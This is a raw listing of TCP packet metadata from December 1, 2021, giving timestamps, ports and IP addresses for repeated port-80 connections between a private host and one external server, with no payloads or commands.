Dec 1, 2021 09:14:07.141145945 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141163111 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141179085 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141180038 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141197920 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141213894 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141222000 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141232014 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141247988 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141263962 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141272068 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141282082 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141298056 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141314030 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141314983 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141330957 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141346931 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141354084 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141364098 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141379118 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141380072 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141397953 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141413927 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141413927 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141431093 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141449928 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141464949 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141473055 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141482115 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141498089 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141513109 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141522884 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141530037 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141546965 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141551971 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141563892 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141573906 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141585112 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141599894 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141603947 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141616106 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141632080 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141645908 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141649008 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141665936 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141681910 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141685009 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141699076 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141716003 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141719103 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141731977 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141745090 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141748905 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141766071 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141781092 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141786098 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.141840935 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.198998928 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.199038982 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.199065924 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.199090958 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.199110985 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.199117899 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.199158907 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.199193001 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.199242115 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.256330013 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:09.522058010 CET	49779	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.580147982 CET	80	49779	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:09.580277920 CET	49779	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.580408096 CET	49779	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.580466032 CET	49779	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.638632059 CET	80	49779	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:09.682729006 CET	80	49779	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:09.682838917 CET	49779	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.683007956 CET	49779	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.713435888 CET	49780	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.740950108 CET	80	49779	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:09.771111012 CET	80	49780	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:09.771225929 CET	49780	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.771330118 CET	49780	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.771481991 CET	49780	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.829020977 CET	80	49780	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:09.829083920 CET	80	49780	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:09.873147964 CET	80	49780	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:09.876912117 CET	49780	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.877084017 CET	49780	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.933339119 CET	49781	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.934525013 CET	80	49780	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:09.991024017 CET	80	49781	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:09.991296053 CET	49781	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.991312027 CET	49781	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:09.993022919 CET	49781	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.048892021 CET	80	49781	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.050559044 CET	80	49781	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.090151072 CET	80	49781	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.090178013 CET	80	49781	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.090305090 CET	49781	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.090321064 CET	49781	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.119807005 CET	49782	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.147730112 CET	80	49781	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.177402973 CET	80	49782	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.177556038 CET	49782	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.177675962 CET	49782	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.177707911 CET	49782	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.235178947 CET	80	49782	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.281600952 CET	80	49782	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.284481049 CET	49782	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.284673929 CET	49782	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.342152119 CET	80	49782	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.350893974 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.408845901 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.408994913 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.409068108 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.491420031 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.491475105 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.491512060 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.491529942 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.491552114 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.491590023 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.491628885 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.491640091 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.491668940 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.491673946 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.491707087 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.491745949 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.491792917 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.491803885 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.491942883 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.549945116 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550013065 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550054073 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550090075 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.550101995 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550144911 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.550153017 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550201893 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550242901 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550261021 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.550287008 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550326109 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550371885 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.550371885 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550410032 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550451040 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.550455093 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550493002 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550530910 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.550535917 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550576925 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550621033 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550622940 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.550663948 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.550664902 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550708055 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550746918 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.550750971 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550789118 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.550828934 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.608939886 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609004021 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609045029 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609086037 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609128952 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609167099 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609173059 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.609208107 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609232903 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.609250069 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609287024 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609292984 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.609327078 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609366894 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609369993 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.609406948 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609420061 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.609448910 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609472036 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.609487057 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609527111 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609548092 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.609558105 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609596014 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609616041 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.609636068 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609674931 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609714985 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609715939 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.609755993 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609793901 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609797001 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.609833956 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609874010 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609879017 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.609914064 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609954119 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.609956026 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.609993935 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.610033035 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.610039949 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.610075951 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.610089064 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.610114098 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.610152960 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.610193014 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.610230923 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.610251904 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.610270977 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.610310078 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.610348940 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.610390902 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.610429049 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.610469103 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.610471010 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.610508919 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.610564947 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.610634089 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.668611050 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668642998 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668656111 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668668032 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668685913 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668703079 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668718100 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668736935 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668752909 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668770075 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668786049 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668802023 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668817997 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668831110 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.668837070 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668874025 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668891907 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668904066 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668908119 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.668915987 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668929100 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668940067 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668956995 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668972969 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.668979883 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.668987989 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669003963 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669018984 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669018984 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.669034004 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669050932 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669065952 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669065952 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.669081926 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669097900 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669112921 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669116974 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.669127941 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669145107 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669148922 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.669159889 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669177055 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669192076 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669203997 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669213057 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.669215918 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669228077 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669243097 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669254065 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.669259071 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669275045 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669290066 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669305086 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669315100 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.669321060 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669336081 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669339895 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.669352055 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669367075 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669383049 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669394016 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.669394970 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.669450045 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.727509022 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.727561951 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.727601051 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.727639914 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.727677107 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.727684021 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.727708101 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.727714062 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.727752924 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.727771997 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.727787971 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.727827072 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.727838039 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.727864027 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.727905035 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.727916956 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.727942944 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.727979898 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728018045 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728054047 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.728055000 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728091002 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728091002 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.728128910 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728132010 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.728173018 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728210926 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728250980 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728264093 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.728283882 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728293896 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.728322029 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728359938 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728394985 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728418112 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.728431940 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728445053 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.728468895 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728507042 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728518963 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.728545904 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728581905 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728601933 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.728620052 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728657961 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728702068 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728705883 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.728740931 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728777885 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728787899 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.728816032 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728816986 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.728880882 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728924036 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728941917 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.728960037 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.728997946 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.729034901 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.729063034 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.729072094 CET	80	49783	95.213.165.249	192.168.2.4
